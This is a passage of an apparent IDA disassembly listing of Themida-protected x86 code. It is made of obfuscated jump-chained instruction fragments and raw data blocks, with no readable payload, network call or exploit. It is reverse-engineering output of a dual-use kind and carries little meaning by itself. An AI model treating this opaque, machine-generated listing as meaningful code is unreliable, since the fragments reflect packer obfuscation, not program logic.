		dd 5C46E942h, 1580000h,	835F5AD5h, 2C8702C5h, 8B665C24h
		dd 74E92404h, 33000079h, 895C2434h, 74FF242Ch, 6BE90424h
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564417:				; CODE XREF: Themida_:005611E9j
		mov	[esp], esi
		push	1
		pop	esi
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_56E99E
; ---------------------------------------------------------------------------
aNDmCMvZs	db 'ºN',8,'DM¸—;¬v)ÐZé|!',0
		align 4
		dd 24048B66h, 0E9E08950h, 0FFFFF334h
; ---------------------------------------------------------------------------


loc_564448:				; CODE XREF: Themida_:0057015Aj
		mov	[esp], ebp
		push	4
		pop	ebp
		sub	ebx, 574D2454h
		add	ebx, ebp
		push	edi
		mov	edi, 574D2454h
		add	ebx, edi
		pop	edi
		pop	ebp
		jmp	loc_566C39
; ---------------------------------------------------------------------------


loc_564468:				; CODE XREF: Themida_:0056A26Aj
		add	al, bl
		push	dword ptr [esp]
		jmp	loc_56B605
; ---------------------------------------------------------------------------
		dw 0CEFEh
		dd 0E9BFF680h, 0FFFFEA98h
; ---------------------------------------------------------------------------


loc_56447C:				; CODE XREF: Themida_:0056C0D3j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edi
		mov	edi, 7A082EEAh
		push	0
		sub	[esp], edi
		jmp	loc_5669C5
; ---------------------------------------------------------------------------
aSs7		db 'Sé7"',0
		dd 0FFC10100h, 68582434h, 696Ch, 54241489h, 4C2815Ah, 55000000h
		dd 4BDh, 5DEA0100h, 0FFCE9FE9h,	240C89FFh, 72E9E3B5h
		db 0C6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5644D3:				; CODE XREF: Themida_:0056326Fj
		mov	edx, esp
		jmp	loc_572521
; ---------------------------------------------------------------------------
		dw 0F031h
		dd 0B82E9h, 0BD555F00h,	16EC688Dh, 2816CD81h, 0B4E9199Dh
		dd 5F0000B2h, 83242C8Bh, 0D83104C4h, 0FFC3315Bh, 1831E930h
		dd 8B660001h, 84E9240Ch, 0F7000104h, 12EA81DAh,	3126C31Ah
		dd 52505AD0h, 76AEE9h, 0C3C38100h, 299C1B69h, 15D5BDFh
		dd 3F1CE9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564532:				; CODE XREF: Themida_:0057518Fj
		mov	esp, [esp]
		push	2579h
		jmp	loc_56B26F
; ---------------------------------------------------------------------------
aISD		db '\‰<$é>D',0
		align 4
		dd 815AD701h, 0CB969FF7h, 5FFA2983h, 2C28359h, 8B241487h
		dd 37E92424h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564563:				; CODE XREF: Themida_:0056EA6Cj
		add	ah, ch
		pop	cx
		xor	dh, ah
		pop	eax
		add	al, dh
		pop	edx
		jmp	loc_5722FB
; ---------------------------------------------------------------------------
		dw 0D788h
		dd 24048B5Ah, 0E9E28952h, 0E92Ch, 168DE981h, 0CA014C8Fh
		dd 8118E9h, 34FF5C00h, 240C8B24h, 4C481h, 54560000h, 4EC835Eh
		dd 10FDBE9h, 38B2500h, 3DE94F58h
		db 0DAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5645AF:				; CODE XREF: Themida_:005722FDj
		add	al, 9
		sub	al, cl
		sub	al, 9
		push	ebx
		mov	bh, 4
		jmp	loc_56FE39
; ---------------------------------------------------------------------------
		db 0C1h, 0EEh, 5
		dd 0E906EEC1h, 437Ch, 0C0E9D931h, 8F0000CFh, 248B2404h
		dd 0C896624h, 0B60F6624h, 0A348E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5645E2:				; CODE XREF: Themida_:00560DEFj
		mov	[esp], eax
		jmp	loc_567878
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 0FA05E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5645F2:				; CODE XREF: Themida_:0056F576j
		not	edi
		xor	edi, 68F4363Dh
		sub	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 26293924h
		sub	ecx, eax
		pop	eax
		jmp	loc_56DACF
; ---------------------------------------------------------------------------
		dd 0E9243489h, 0F37Eh, 4C481h, 10E90000h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564623:				; CODE XREF: Themida_:0056E498j
		mov	[esp], ebx
		push	eax
		push	edx
		mov	edx, 18EB2E21h
		mov	eax, 2CF372F0h
		xor	eax, edx
		jmp	loc_569A4C
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 541975CBh, 0C7EB8130h, 89024C49h,	4CBB5BDFh
		dd 818A54CCh, 551257C3h, 57FB011Bh, 2FBBBD55h, 0C5816887h
		dd 4FAA3977h, 4F0BE9h, 24048B00h, 81E18951h, 4C1h, 4C18100h
		dd 87000000h, 555C240Ch, 0FFD32FE9h, 24248BFFh,	0FFC084E9h
		dd 2434FFFFh, 0E92434FFh, 0FFFFF3B5h, 0AFE9815Bh, 0E936CD7Eh
		dd 3819h, 81E38953h, 4ECh, 0AACAE900h, 0C4830000h, 0EC835204h
		dd 0FDFFE904h, 0B8500000h, 325800D8h, 3FEABD55h, 0CD815CB7h
		dd 53D64DDBh, 23F1C581h, 0F5812068h, 0D592AFE2h, 355DE809h
		dd 76CD5B5Dh, 8805D0F7h, 1011057h, 3C8758C7h, 24248B24h
		dd 6DAA68h, 24348900h, 1421EEBEh, 3EEC167h, 717E9h, 37E94E00h
		dd 290000B3h, 0D3015EF2h, 0E92434FFh, 5867h, 24048B66h
		dd 0E2895257h, 4C281h, 0F6E90000h, 66000109h, 51240C8Bh
		dd 0E23AE9h, 3E9C100h, 0D761E949h, 0D000FFFFh, 0D86DE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56474E:				; CODE XREF: Themida_:0056B6DAj
		xchg	edi, [esp]
		pop	esp
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		jmp	loc_56847E
; ---------------------------------------------------------------------------


loc_56476B:				; CODE XREF: Themida_:00574752j
		add	edi, ebx
		jmp	loc_5624DA
; ---------------------------------------------------------------------------
		dw 48Fh
aSU		db '$é|ž',0
		align 2
		dw 505Eh
		dd 4B8h, 58C70100h, 5C243C87h, 0F752D587h, 148B2414h, 0D37E924h
		dd 815C0000h, 5F76CDE6h, 3BEBE94Ah, 0EC810000h,	4, 0FFF74FE9h
		dd 241C31FFh, 8B241C33h, 0C4E92424h
		db 9Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5647BB:				; CODE XREF: Themida_:005760FDj
		mov	esi, ebp
		mov	ecx, esi
		mov	esi, [esp]
		jmp	loc_5689AA
; ---------------------------------------------------------------------------
		align 4
		dd 885866E1h, 0F32859CEh, 24148B66h, 8002C483h,	0EB00D3C3h
		dd 80D3EB80h, 0C8B9BC3h, 4C48124h, 0E9000000h, 11540h
		dd 8924248Bh, 3481243Ch, 92255E24h, 2434FF49h, 116F2E9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	7B47h
		jmp	loc_571B44
; ---------------------------------------------------------------------------
		dw 0EA83h
		dd 24148704h, 240C895Ch, 0C181E189h, 4,	4BE5652h, 56000000h
		dd 8324148Bh, 815E04C4h, 3D7625E9h, 7EE98115h, 131E361h
		dd 7EC181D1h, 8131E361h, 3D7625C1h, 22E8E915h, 0D7F70000h
		dd 1153BE9h, 4C38100h, 68000000h, 28DEh, 0B8240489h, 4
		dd 90E9C301h
		db 0FEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_564873:				; CODE XREF: Themida_:00563CCBj
		mov	eax, 0DA7160Dh
		jmp	loc_572CE6
; ---------------------------------------------------------------------------


loc_56487D:				; CODE XREF: Themida_:00571B21j
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_573E1D
; ---------------------------------------------------------------------------
		db 2Dh
		dd 395D3650h, 78E9D001h
		db 6, 1, 0
; ---------------------------------------------------------------------------


loc_5648A3:				; CODE XREF: Themida_:005675FEj
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_56FF5E
; ---------------------------------------------------------------------------
		dw 489h
		dd 0F626B024h, 2CFF2CD8h, 0C58851FBh, 51EE8852h, 0EF88F588h
		dd 24148B59h, 8B04C483h, 0C481240Ch, 4,	0E9506658h, 1163Ah
		dd 79FD68h, 240C8900h, 20030CB9h, 0BFC18142h, 813F6907h
		dd 0E84CAFF1h, 0C2C1814Eh, 0E9726EC2h, 0EF1Ah
; ---------------------------------------------------------------------------


loc_564900:				; CODE XREF: Themida_:0057429Cj
		add	esp, 4
		jmp	loc_56D9C7
; ---------------------------------------------------------------------------
aRSg1		db 'R²·é£1',0
		dw 0F600h
		dd 0B0EA80DAh, 0B55AD788h, 5BFD2808h, 459E828h,	298F6841h
		dd 0C890000h, 6DE95224h, 1000024h, 0FBE6E9CDh, 0C1810000h
		dd 7EAE7688h, 249FE9h, 24148700h, 2434FF5Ch, 99B9E9h, 0EC815C00h
		dd 4, 81242489h, 42404h, 48F0000h, 24048124h, 4, 4C6815Eh
		dd 68000000h, 2953h, 0B8240489h, 2, 739FBA52h, 0CEE91E79h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56498B:				; CODE XREF: Themida_:0056A4FBj
		and	ecx, edi
		mov	edi, [esp]
		jmp	loc_572B74
; ---------------------------------------------------------------------------


loc_564995:				; CODE XREF: Themida_:00563152j
		pop	esp
		jmp	loc_56F9D0
; ---------------------------------------------------------------------------
aSSwp		db 'Áé',7,'éw¯',0
		dw 8900h
		dd 4C581E5h, 83000000h,	2C8704C5h, 0C875C24h, 24248B24h
		dd 255EF281h, 0C90B4992h, 9ACD840Fh, 0E9540000h, 36DFh
		dd 0FF2414F7h, 815B2434h, 4C4h,	4C14E900h, 2C870000h, 0E804E924h
		dd 14890000h, 0E9E28924h, 2B6Bh
; ---------------------------------------------------------------------------


loc_5649F0:				; CODE XREF: Themida_:00561788j
		push	edx
		jmp	loc_561376
; ---------------------------------------------------------------------------


loc_5649F6:				; CODE XREF: Themida_:0056EFC3j
		xor	edx, 2C9C32BAh
		xor	edx, 4F676EC1h
		push	edx
		xor	dword ptr [esp], 7860468Eh
		jmp	loc_56BE91
; ---------------------------------------------------------------------------
		db 81h
		dd 0DB07D9F1h, 0E9C8014Ah, 0FFFFF8E9h, 5C240C87h, 5C241C87h
		dd 0E92434FFh, 114A4h, 81240C8Bh, 4C4h,	2AB65200h, 0B551C6FEh
		dd 59EE2085h, 0FE40B050h, 8E8C0C8h, 0C628182Ch,	0E9F58858h
		dd 0FFFFD132h, 3D22685Fh, 36E90000h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564A5F:				; CODE XREF: Themida_:00575811j
		mov	eax, 7F8A5006h
		shr	eax, 7
		not	eax
		push	ebx
		mov	ebx, 34D676FEh
		shl	ebx, 8
		jmp	loc_572D6B
; ---------------------------------------------------------------------------
		db 81h
		dd 698FA7C2h, 8BD50142h, 0C4832414h, 0BEFDE904h, 0F7810000h
		dd 58437B28h, 34FFF909h, 2DE95F24h, 810000EFh, 0EB6150C6h
		dd 240C8B3Ch, 0E904C483h, 0DE5Fh, 6A26EF81h, 0EF81787Eh
		dd 30946CCFh, 815FFB01h, 4EBh, 2290E900h, 0C2810000h, 840122Dh
		dd 0F670EA81h, 0D62933ADh, 5524148Bh, 0E665E9h,	0F6DBF600h
		dd 80D3F6DBh, 0BCE9CDEBh, 28000087h, 0E1C05BF9h, 6EB35304h
		dd 30E2C380h, 0F3E95BD9h, 0F70000ACh, 0A513E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564B06:				; CODE XREF: Themida_:0056C78Dj
		push	ebx
		jmp	loc_56F274
; ---------------------------------------------------------------------------
		dd 66E605ADh, 0E4E9250Bh
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564B17:				; CODE XREF: Themida_:0056E650j
		add	eax, edi
		sub	eax, 34C96610h
		add	[eax], ebx
		jmp	loc_57473A
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 30h
		dd 0F7386C4Fh, 0C581E9D2h, 0F5880000h, 241C8B5Ah, 0F8EE9h
		dd 8896B600h, 2434FFF3h, 4C4815Ah, 0F6000000h, 0E4A8E9D3h
		dd 18B0FFFFh, 3058C188h, 11DEE9CBh, 0BE560001h,	5CDF2D1Dh
		dd 367CE681h, 0F74E45E7h, 4EEC1D6h, 98BBD55h, 0C5811834h
		dd 13D178Dh, 880CE9h
		db 0
; ---------------------------------------------------------------------------


loc_564B81:				; CODE XREF: Themida_:0057431Dj
		shl	eax, 6
		and	eax, 19B3425Ch
		or	eax, 251435F7h
		sub	eax, 0CB941EA1h
		jmp	loc_57323E
; ---------------------------------------------------------------------------
		dd 0DEE0B850h, 0C2E9F239h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564BA3:				; CODE XREF: Themida_:00566D0Bj
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_570411
; ---------------------------------------------------------------------------


loc_564BAF:				; CODE XREF: Themida_:00561701j
		pop	edx
		xor	edx, 67F1767Bh
		sub	edx, 0D6433B48h
		mov	ebp, edx
		pop	edx
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		push	ecx
		mov	ecx, 8FFEB664h
		sub	ebp, ecx
		mov	ecx, [esp]
		push	eax
		jmp	loc_5703AA
; ---------------------------------------------------------------------------


loc_564BD5:				; CODE XREF: Themida_:00573252j
		add	ecx, edx
		pop	edx
		jmp	loc_565FDA
; ---------------------------------------------------------------------------
		db 2Ch,	59h, 52h
		dd 0D6E9CBB6h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564BE7:				; CODE XREF: Themida_:0056A0DBj
		pop	ecx
		pop	ebx
		xor	al, dh
		jmp	loc_56DBFE
; ---------------------------------------------------------------------------
		dd 2801B252h, 0CBFE5AD3h, 30F9B252h, 0E3C05AD3h, 7EB8003h
		dd 34FFD800h, 0DF01E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564C0E:				; CODE XREF: Themida_:0056C0E0j
		push	ebp
		jmp	loc_565D9B
; ---------------------------------------------------------------------------
aCfIS8h		db '»æf',0Bh,'%‰Þ[é8h',0
		dd 6A60500h, 0F00142F7h, 10826E9h, 0E9545300h, 0FFFFF0CDh
; ---------------------------------------------------------------------------


loc_564C34:				; CODE XREF: Themida_:00572394j
		add	esi, edi
		pop	edi
		push	esi
		push	ebp
		jmp	loc_562C2F
; ---------------------------------------------------------------------------
		dw 0E7C0h
		dd 2B026804h, 0C890000h, 0E67AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564C4E:				; CODE XREF: Themida_:00574C35j
		mov	[esp], ebp
		mov	ebp, 0C314731h
		sub	ecx, 63332476h
		sub	ecx, ebp
		push	edi
		mov	edi, 63332476h
		add	ecx, edi
		jmp	loc_562C51
; ---------------------------------------------------------------------------
		db 0BDh
		dd 6C2A7B03h, 0E958C531h, 0CFBh, 81E18951h, 4C1h, 4E98100h
		dd 0E9000000h, 0FFFFD3A4h, 81E28952h, 4C2h, 0EC835000h
		dd 24148904h, 6602D468h, 0C2815A62h, 9D99FD2Eh,	1CE9D089h
		dd 570000F0h, 5085E9h, 24048900h, 27E9E089h
		db 0AAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_564CBF:				; CODE XREF: Themida_:005712ACj
		add	esi, edx
		pop	edx
		add	esi, ebx
		sub	esi, 6E2F6FECh
		push	ecx
		jmp	loc_561D8C
; ---------------------------------------------------------------------------
		dd 1C181h, 69E90000h, 83000004h, 54E904ECh, 0B20000AAh
		dd 5AD028DBh, 5585450h,	4, 42Dh, 24043300h, 33240431h
		dd 0FAE92404h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564D03:				; CODE XREF: Themida_:0056DDD1j
		mov	edi, 6A956922h
		sub	edx, 86515D1h
		jmp	loc_566E86
; ---------------------------------------------------------------------------
		db 81h
		dd 0F44DEEE9h, 37EA8174h, 2925F325h, 37C281CAh,	0E925F325h
		dd 0FFFFD681h, 40558h, 0EC830000h, 24348904h, 4FEDE9h
		dd 4EC8100h, 89000000h,	0F6B9240Ch, 0F750C562h,	0F45E9D9h
		dd 5D540000h, 4C581h, 0EC810000h, 4, 0E9240489h, 0E881h
		dd 24048B66h, 10AFBE9h
		db 0
; ---------------------------------------------------------------------------


loc_564D71:				; CODE XREF: Themida_:0056B612j
		push	dword ptr [esp]
		jmp	loc_573F7A
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 83000000h, 1C8904ECh, 0BE06E924h, 3C89FFFFh,	7208BF24h
		dd 0EF812B3Eh, 2B3E7204h, 3C8BF801h, 4C48124h, 0E9000000h
		dd 1375h
; ---------------------------------------------------------------------------


loc_564DA8:				; CODE XREF: Themida_:0056AE6Ej
		shr	ecx, 4
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		shl	ecx, 8
		sub	ecx, 608D20BFh
		push	ebx
		mov	ebx, 3964F745h
		xor	ecx, ebx
		pop	ebx
		mov	edx, ecx
		pop	ecx
		sub	eax, 0A612B75h
		add	eax, edx
		push	edi
		jmp	loc_56EAB2
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 7EE4519Eh, 8107E9C1h, 593ABCF1h, 1153E941h, 0EF810000h
		dd 5C896BF2h, 2E23EF81h, 158034Dh, 67FE9F8h, 24890000h
		dd 0C30EE924h, 148BFFFFh, 4C48324h
		db 52h,	0B6h, 92h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_573DC2
; ---------------------------------------------------------------------------
		dd 5101C683h, 497AA4B9h, 1EC18113h, 0E9DFD409h,	2C53h
		dd 5C24048Fh, 0FF2434FFh, 34FF2434h, 5BCCE924h,	835B0000h
		dd 46804C4h, 89000051h,	0E789243Ch, 4C781h, 0BB530000h
		dd 4, 1C8BDF01h, 4C48324h, 2474FF57h, 48F5F04h,	0EE75E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564E7A:				; CODE XREF: Themida_:00568F1Fj
		xor	[esp], edx
		jmp	loc_5684FC
; ---------------------------------------------------------------------------
		dw 3481h
		dd 0B265D524h, 24048B21h, 0B231E9h
		db 0
; ---------------------------------------------------------------------------


loc_564E91:				; CODE XREF: Themida_:0056AE26j
		and	edi, 6BC051B3h
		shr	edi, 7
		shl	edi, 6
		sub	edi, 250020BCh
		add	ebx, edi
		jmp	loc_565B9B
; ---------------------------------------------------------------------------


loc_564EAA:				; CODE XREF: Themida_:00568158j
		mov	[esp], edx
		mov	edx, 479C56E8h
		shr	edx, 2
		add	edx, 0F36F2CCh
		shl	edx, 1
		add	edx, 0F1C83C12h
		jmp	loc_562E58
; ---------------------------------------------------------------------------
		dd 0C588AD04h, 0B6526658h, 66F50005h, 8324148Bh, 0E82802C4h
		dd 0FE9BE959h, 0C8290000h, 66C33159h, 26E9008Fh, 28FFFFB8h
		dd 1F6068D8h, 4890000h,	57E08924h, 10500E9h, 60EF8100h
		dd 8140B830h, 0FAFF06EFh, 8BFB29E6h, 0C481243Ch, 4, 0C264E955h
		dd 0FB90000h, 3119E337h, 2434FFF1h, 4C4815Eh, 89000000h
		dd 0E95559C8h, 0FFFFD200h, 0FA65E955h, 0C481FFFFh, 4, 0FA74972Dh
		dd 7AF80541h, 0D0296A64h, 647AF82Dh, 7497056Ah,	34FF41FAh
		dd 24148B24h, 3790E9h, 89575800h, 0CD89E9E7h, 0E9590000h
		dd 32DDh, 2C26C580h, 0E9CAE901h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564F7E:				; CODE XREF: Themida_:0056930Fj
		add	esp, 4
		shl	eax, 5
		jmp	loc_5608CE
; ---------------------------------------------------------------------------


loc_564F8C:				; CODE XREF: Themida_:00567C9Dj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_570082
; ---------------------------------------------------------------------------
aZs		db 'Zé#',8,0
		db 0
; ---------------------------------------------------------------------------


loc_564FA1:				; CODE XREF: Themida_:00566776j
		mov	edx, [esp]
		jmp	loc_56C233
; ---------------------------------------------------------------------------


loc_564FA9:				; CODE XREF: Themida_:00573BE0j
		mov	ecx, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_56342A
; ---------------------------------------------------------------------------
		dw 0E804h
		dd 0E82CD800h, 2863045Bh, 535166F8h, 0E3B580B3h, 0B81DE9h
		dd 0A4ED8100h, 0E9A29517h, 6D7h, 4EE9C200h, 8100001Eh
		dd 4ECh, 242C8900h, 0B951E589h,	20ED2345h, 7BE9D9F7h, 810000F0h
		dd 1F07E4C5h, 2E5C131h,	7A53CD81h, 4E97E4Eh
		db 81h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_565017:				; CODE XREF: Themida_:005624D5j
		shr	eax, 5
		xor	eax, 4745C10Eh
		jmp	loc_560809
; ---------------------------------------------------------------------------
		dd 2D5AD001h, 11B5251Ch, 9054E9h, 0E9D48800h, 0B7h
; ---------------------------------------------------------------------------


loc_565038:				; CODE XREF: Themida_:00563EC4j
		add	edx, 4
		sub	edx, 4
		jmp	loc_5651DE
; ---------------------------------------------------------------------------


loc_565046:				; CODE XREF: Themida_:0056F915j
		add	edi, edx
		sub	edi, 0C85748Fh
		add	edi, 625D2024h
		pop	edx
		push	esi
		mov	esi, 4
		sub	edi, esi
		pop	esi
		jmp	loc_573077
; ---------------------------------------------------------------------------
		db 5Eh
		dd 8958C729h, 0CD015FF9h, 0D3D3E9h, 24248900h, 36A268h
		dd 242C8900h, 4BDh, 246C0100h, 348B5D04h, 0E53E924h, 24890000h
		dd 0BA9DE924h, 0CD090000h, 83240C8Bh, 0E95204C4h, 639Eh
		dd 2BF57h, 9E90000h, 8F0000B8h,	4812404h, 424h,	4055800h
		dd 83000000h, 0CFE904E8h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5650C7:				; CODE XREF: Themida_:00565CF9j
		add	esp, 4
		mov	ebp, eax
		pop	eax
		add	ebp, ebx
		pop	ebx
		sub	eax, 35A71B53h
		add	eax, ebp
		add	eax, 35A71B53h
		pop	ebp
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_575F92
; ---------------------------------------------------------------------------
		db 88h
		dd 24048BE5h, 4C481h, 14E90000h, 5A000037h, 0C681C601h
		dd 1E79739Fh, 4EC8158h,	89000000h, 0BCE92434h, 290000E6h
		dd 0AE0DE9D9h, 77FF0000h, 59669D1Ch, 2414D366h,	0B5E7E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56512E:				; CODE XREF: Themida_:0057422Dj
		add	ecx, eax
		pop	eax
		pop	eax
		jmp	loc_566CCB
; ---------------------------------------------------------------------------
		db 1
		dd 0D5055DE8h, 0E9623114h, 0FFFFDF9Bh, 4F91C981h, 0BE561209h
		dd 30829C4Ch, 0CE9F101h, 570000EFh, 765E68h, 24148900h
		dd 0D7074168h, 24148B26h, 4C481h, 0BD550000h, 51080E77h
		dd 2BE9EA01h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56517B:				; CODE XREF: Themida_:0056684Dj
		sub	edx, 6D1798ABh
		jmp	loc_560D4A
; ---------------------------------------------------------------------------
		dw 0EE01h
aSI		db ']é',9,'‰',0
		align 2


loc_56518E:				; CODE XREF: Themida_:00570624j
		push	eax
		jmp	loc_56B62F
; ---------------------------------------------------------------------------
		dd 8B242C33h, 0EC832424h, 2CFE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5651A2:				; CODE XREF: Themida_:00570C43j
		push	3AB9h
		mov	[esp], ebx
		mov	bl, 79h
		jmp	loc_565BAE
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 73h
		dd 0E92DB348h, 0FFFFCF04h, 0DDE95B66h, 5B0000B2h, 9CFDE9h
		dd 2434FF00h, 0FCE9h, 57D9F700h, 0DA2D68BFh, 638E91Dh
		db 1, 0
; ---------------------------------------------------------------------------


loc_5651DE:				; CODE XREF: Themida_:00565041j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_56CD7B
; ---------------------------------------------------------------------------
		dd 1018B951h, 31E9667Dh, 0BE0000C3h, 57D623F3h,	815EF531h
		dd 3D5E06E5h, 0AABB533Eh, 815C8B5Ch, 0F87D4FC3h, 4EBC176h
		dd 4301EB83h, 49C9E9h
		db 0
; ---------------------------------------------------------------------------


loc_56521D:				; CODE XREF: Themida_:0056DEB1j
		add	ebp, 36974398h
		add	edx, ebp
		pop	ebp
		xor	edx, 7969797Dh
		and	edx, 18106D69h
		push	1690h
		mov	[esp], edi
		mov	edi, 7CB871FAh
		dec	edi
		shl	edi, 5
		sub	edi, 47AF2C50h
		sub	edi, 64FC1CC7h
		jmp	loc_56A1F0
; ---------------------------------------------------------------------------
		dd 0F82FE950h, 0D0010000h, 0CA19E9h, 51D60D00h,	5905429Eh
		dd 81E5AED7h, 0D5559EC7h, 81C70176h, 0D5559EEFh, 51475876h
		dd 6E2B2AB9h, 8C78107h,	0E924913Dh, 4DE3h, 240C8B59h, 1CD868h
		dd 83A4E900h, 0C5810000h, 4, 4ED81h, 2C870000h,	440BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5652AE:				; CODE XREF: Themida_:005707F1j
		add	esp, 4
		add	al, 0C9h
		jmp	loc_56EDBD
; ---------------------------------------------------------------------------
		dd 0BA241489h, 4, 39AFE981h, 0D1010856h, 0B5CDE9h, 24048B00h
		dd 0E95F5457h, 0E1AAh, 15EF231h, 5A3231FAh, 0FFFFEE81h
		dd 77FFFFFFh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		jmp	loc_56E5BF
; ---------------------------------------------------------------------------


loc_5652F7:				; CODE XREF: Themida_:00573F75j
		add	eax, 4
		jmp	loc_572FDA
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 4BAh, 0EDC18100h, 117480Ch, 0EDBE56D1h, 2917480Ch, 835A5EF1h
		dd 1C8904ECh, 0A883E924h, 0CF810000h, 2C3772D7h, 0F711E9h
		dd 0E1895100h, 1828E9h,	24048900h, 0F355E9h
		db 0
; ---------------------------------------------------------------------------


loc_565341:				; CODE XREF: Themida_:0056A7D1j
		add	dword ptr [esp], 4
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		push	3B74h
		mov	[esp], ebx
		jmp	loc_568F8E
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 24348924h, 7806E9h, 48B6600h, 0E0895024h
		dd 405h, 47BB5300h, 5254A631h, 0D3647EBAh, 0C2814A48h
		dd 0A61C94Fh, 0F75AD329h, 9BC381DBh, 0E91DA42Fh, 0D555h
		dd 348BF189h, 4C48124h,	81000000h, 48474EC1h, 78E94953h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5653AF:				; CODE XREF: Themida_:00563F6Bj
		push	eax
		jmp	loc_561A74
; ---------------------------------------------------------------------------


loc_5653B5:				; CODE XREF: Themida_:0056C24Bj
		inc	ebx
		jmp	loc_56D099
; ---------------------------------------------------------------------------
		db 81h
		dd 0EA4B05C1h, 0B9E98149h, 8B76E609h, 0C4832414h, 2C18104h
		dd 51000000h, 8FAFE9h
		db 0
; ---------------------------------------------------------------------------


loc_5653D9:				; CODE XREF: Themida_:0057237Aj
		sub	edi, 48417BD0h
		jmp	loc_5759B6
; ---------------------------------------------------------------------------
		dd 0FF243489h, 5E042474h, 8B24048Fh, 8B662424h,	0E950240Ch
		dd 0B2E7h, 0E9240C89h, 9992h, 5C240C87h, 53242C89h, 0CE86E952h
		dd 48FFFFFh, 0EBD5E924h, 895C0000h, 74FF241Ch, 1C8B0424h
		dd 3D9EE924h, 0E9800000h, 80F10044h, 305A44C1h,	240C8BCFh
		dd 12C0E955h, 1CF70000h, 0CEE99C24h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565447:				; CODE XREF: Themida_:00575E38j
		mov	ebx, edi
		jmp	loc_56E4E8
; ---------------------------------------------------------------------------
aMs		db '¬éêÞ',0
		align 4
aBALS		db 'Á',0Ah
		db 'lØ)Èéìš',0
		db 0
; ---------------------------------------------------------------------------


loc_565461:				; CODE XREF: Themida_:0056A390j
		push	cx
		pushf
		jmp	loc_560715
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
		dd 8D1DE9h, 243C8900h, 0B74CE9h, 0E1E95F00h, 310000C6h
		dd 0AFE95DE8h, 0AD000034h, 5CA868h, 0E075E900h,	1C87FFFFh
		dd 0C4815C24h, 4, 3BB8E9h, 0EC835900h, 243C8904h, 2434FF54h
		dd 6165E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5654B2:				; CODE XREF: Themida_:0056B239j
		sub	eax, 4
		jmp	loc_56D132
; ---------------------------------------------------------------------------


loc_5654BA:				; CODE XREF: Themida_:00569456j
		pop	esi
		push	esi
		jmp	loc_574FAF
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 0Dh
		dd 58FFFFD9h, 0F2E2E9h,	4EC8300h, 761EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5654D5:				; CODE XREF: Themida_:005636E0j
